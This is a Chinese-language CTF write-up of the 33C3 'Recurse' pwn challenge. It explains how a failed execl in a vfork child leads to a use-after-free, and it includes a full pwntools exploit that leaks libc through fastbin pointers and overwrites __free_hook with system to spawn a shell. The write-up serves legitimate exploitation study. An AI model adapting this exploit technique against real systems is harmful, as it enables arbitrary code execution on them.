33c3-pwn500-recurse

Recurse

    好记性不如烂笔头。当时没有记录，现在趁着有时间简单写一写，为以后留备份。

    这个题目当时并没有队伍做出来，赛后作者发布了题目的源码和解答。看了之后发现是一个UAF漏洞，不过漏洞很不好找。直接用IDA的F5看代码会感觉怪怪的，这是因为程序的编译用到了safestack，safestack是llvm中一种防止内存破坏漏洞的措施，该机制将栈分为了safestack和unsafestack。clang编译器动态的生成一段空间来作为unsafestack并将一些有可能发生内存破坏的变量放到其中。Unsafestack的地址可以通过程序的tls(thread local storage)获取，如下图：

    关于safestack的介绍，http://blog.includesecurity.com/2015/11/LLVM-SafeStack-buffer-overflowprotection.html，我觉得这个写得很好。

    程序是一个C++的程序，成员变量包含一个std::string，赛后看了源码之后发现成员变量只有一个string对象。关于std::string对象，可以参考上一篇博客的简单介绍。

来介绍一下vfork，根据man page的介绍，vfork和fork类似，只是vfork的子进程并不拷贝父进程的页表，也就是说子进程和父进程共用页表、进程空间。vfork产生子进程后，父进程会被阻塞等待子进程的退出后父进程重新执行，由于子进程和父进程共用的是同一个栈，所以对子进程有一些限制，限制的作用在于不破坏父进程的栈。如果子进程不遵守这些限制，则程序的行为是不确定的。

    可以看到在option 3中，程序通过vfork生成了子进程，并且紧接着就调用execl来启动子进程。看起来一切正常，但是如果execl调用失败的话，程序会执行err函数，在err函数中会调用exit函数，exit函数会对全局的C++对象进行析构，从而将申请的内存给释放掉造成UAF。注意子进程可以调用_exit，但是不能调用exit，因为exit会调用程序运行时注册的各种析构函数。关于exit的介绍，我觉得这一篇很棒：http://m.udpwork.com/item/11573.html

    全局的C++对象中存在std::string，而std::string的长度大于15的时候，会申请堆空间来存放字符串。因此，如果造成C++全局对象的析构的话，堆上的空间将会被释放。这个时候就可以通过内存重叠来造成信息泄露和任意地址写。关于如何造成内存重叠，每个人的方法可能不一样，我的exp参考了官方的exp但是和官方的exp的内存布局不一样。关于信息泄露，我们则是通过泄露fastbin的fd指针进行泄露。任意地址写则是通过fastbin攻击，伪造fast chunk。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = 'debug'

HOST = '127.0.0.1'
PORT = 10000
r = remote(HOST, PORT)

def enter(name = 'AAAA'):
  r.readuntil('iterate')
  r.sendline('2')
  r.readuntil('name?')
  r.sendline(name)

def leave():
  r.readuntil('iterate')
  r.sendline('6')

def trigger_uaf():
  enter('A'*140*1024)
  for i in range(33):
    r.readn(4095)

  r.readuntil('iterate')
  r.sendline('3')
  leave()

MSB = 'x7f'
libc_leak_off = 0x3bdb58
free_hook = 0x3bf788
system = 0x43f40

raw_input('go!')
r.readuntil('name?')
r.sendline(p64(0x31))

r.readuntil('iterate')
r.sendline('1')
r.readuntil('name?')
r.sendline('A'*400)
raw_input('go!')

enter(p64(0x31)*8)
enter(p64(0x31)*8)

trigger_uaf()
raw_input('After trigger UAF')
enter(p64(0x31)*8)
enter(p64(0x31)*8)

enter(p64(0x31)*7)
small_data = p64(0x31) + p64(0) + 'x00'*0xe
enter(small_data)
enter(small_data)

leave()
leave()
leave()

leave()
leave()
leave()
leave()

leak = r.readuntil('iterate')
leak_off = leak.find(MSB)-5
assert leak_off >= 0
libc = u64(leak[leak_off:leak_off+8]) - libc_leak_off

r.unrecv('iterate')
r.readuntil('iterate')
r.sendline('1')
r.readuntil('name?')
fakefd = libc - 0x100
data1 = 0xa0*'x00' + p64(0x240) + p64(0x31) + p64(fakefd)
r.sendline(data1)

raw_input('stop here')
enter('a'*16)
enter('b'*16)
enter(p64(0x31)+'x00')
data2 = 'a'*24 + p64(libc+free_hook)[:6]
enter(data2)
leave()
leave()

r.readuntil('iterate')
r.sendline('1')
r.readuntil('name?')
r.sendline(p64(libc+system))
enter('/bin/shx00'*2)
leave()
r.interactive()